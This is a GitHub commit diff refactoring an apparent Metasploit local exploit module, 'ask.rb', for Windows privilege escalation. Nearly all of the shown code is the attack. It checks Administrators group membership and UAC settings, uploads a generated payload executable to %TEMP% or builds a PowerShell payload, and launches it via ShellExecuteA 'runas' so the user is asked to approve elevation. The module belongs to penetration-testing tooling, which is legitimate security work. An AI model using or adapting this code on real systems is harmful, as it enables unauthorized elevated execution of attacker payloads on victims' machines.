Skip to content

Commit 868b70c

Browse files
committed
Added priv lib and runas lib
Cleaned up code with using the new lib files
1 parent 9695b2d commit 868b70c

File tree

1 file changed

+24
-55
lines changed
  • modules/exploits/windows/local

1 file changed

+24
-55
lines changed

modules/exploits/windows/local/ask.rb

Lines changed: 24 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -6,15 +6,12 @@
66
##
77

88
require 'msf/core'
9-
require 'msf/core/exploit/exe'
10-
require 'msf/core/exploit/powershell'
119

1210
class Metasploit3 < Msf::Exploit::Local
1311
Rank = ExcellentRanking
1412

15-
include Exploit::EXE
16-
include Post::File
17-
include Exploit::Powershell
13+
include Post::Windows::Priv
14+
include Post::Windows::Runas
1815

1916
def initialize(info={})
2017
super( update_info( info,
@@ -51,78 +48,50 @@ def initialize(info={})
5148
def check
5249
session.readline
5350
print_status('Checking admin status...')
54-
whoami = session.sys.process.execute('cmd /c whoami /groups',
55-
nil,
56-
{'Hidden' => true, 'Channelized' => true}
57-
)
58-
cmdout = []
59-
while(cmdoutput = whoami.channel.read)
60-
cmdout << cmdoutput
61-
end
62-
if cmdout.size == 0
63-
fail_with(Exploit::Failure::None, "Either whoami is not there or failed to execute")
51+
admin_group = is_in_admin_group?
52+
if admin_group.nil?
53+
print_error('Either whoami is not there or failed to execute')
54+
print_error('Continuing under assumption you already checked...')
55+
return Exploit::CheckCode::Unknown
6456
else
65-
isinadmins = cmdout.join.scan(/S-1-5-32-544/)
66-
if isinadmins.size > 0
57+
if admin_group
6758
print_good('Part of Administrators group! Continuing...')
6859
return Exploit::CheckCode::Vulnerable
6960
else
70-
print_error('Not in admins group, cannot escalate with this module')
71-
print_error('Exiting...')
61+
print_error("Not in admins group, cannot escalate with this module")
7262
return Exploit::CheckCode::Safe
7363
end
7464
end
7565
end
66+
7667
def exploit
7768
admin_check = check
7869
if admin_check.join =~ /safe/
79-
return Exploit::CheckCode::Safe
70+
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
8071
end
81-
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
82-
open_key = session.sys.registry.open_key(root_key, base_key)
83-
lua_setting = open_key.query_value('EnableLUA')
84-
85-
if lua_setting.data == 1
72+
if is_uac_enabled?
8673
print_status "UAC is Enabled, checking level..."
8774
else
88-
print_good "UAC is not enabled, no prompt for the user"
75+
if is_in_admin_group?
76+
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
77+
else
78+
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
79+
end
8980
end
90-
91-
uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
92-
93-
case uac_level.data
94-
when 2
95-
print_status "UAC is set to 'Always Notify'"
96-
print_status "The user will be prompted, wait for them to click 'Ok'"
97-
when 5
98-
print_debug "UAC is set to Default"
99-
print_debug "The user will be prompted, wait for them to click 'Ok'"
100-
when 0
81+
case get_uac_level
82+
when UAC_NO_PROMPT
10183
print_good "UAC is not enabled, no prompt for the user"
84+
else
85+
print_status "The user will be prompted, wait for them to click 'Ok'"
10286
end
103-
10487
#
10588
# Generate payload and random names for upload
10689
#
10790
case datastore["TECHNIQUE"]
10891
when "EXE"
109-
exe_payload = generate_payload_exe
110-
payload_filename = datastore["FILENAME"] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
111-
payload_path = datastore["PATH"] || expand_path("%TEMP%")
112-
cmd_location = "#{payload_path}\\#{payload_filename}"
113-
if datastore["UPLOAD"]
114-
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
115-
write_file(cmd_location, exe_payload)
116-
else
117-
#print_error("No Upload Path!")
118-
fail_with(Exploit::Failure::BadConfig, "No Upload Path!")
119-
return
120-
end
121-
command, args = cmd_location,nil
122-
session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
92+
execute_exe(datastore["FILENAME"],datastore["PATH"],datastore["UPLOAD"])
12393
when "PSH"
124-
command, args = "cmd.exe", " /c #{cmd_psh_payload(payload.encoded)}"
94+
execute_psh
12595
end
126-
session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
12796
end
128-
end
97+
end

0 commit comments

Comments
 (0)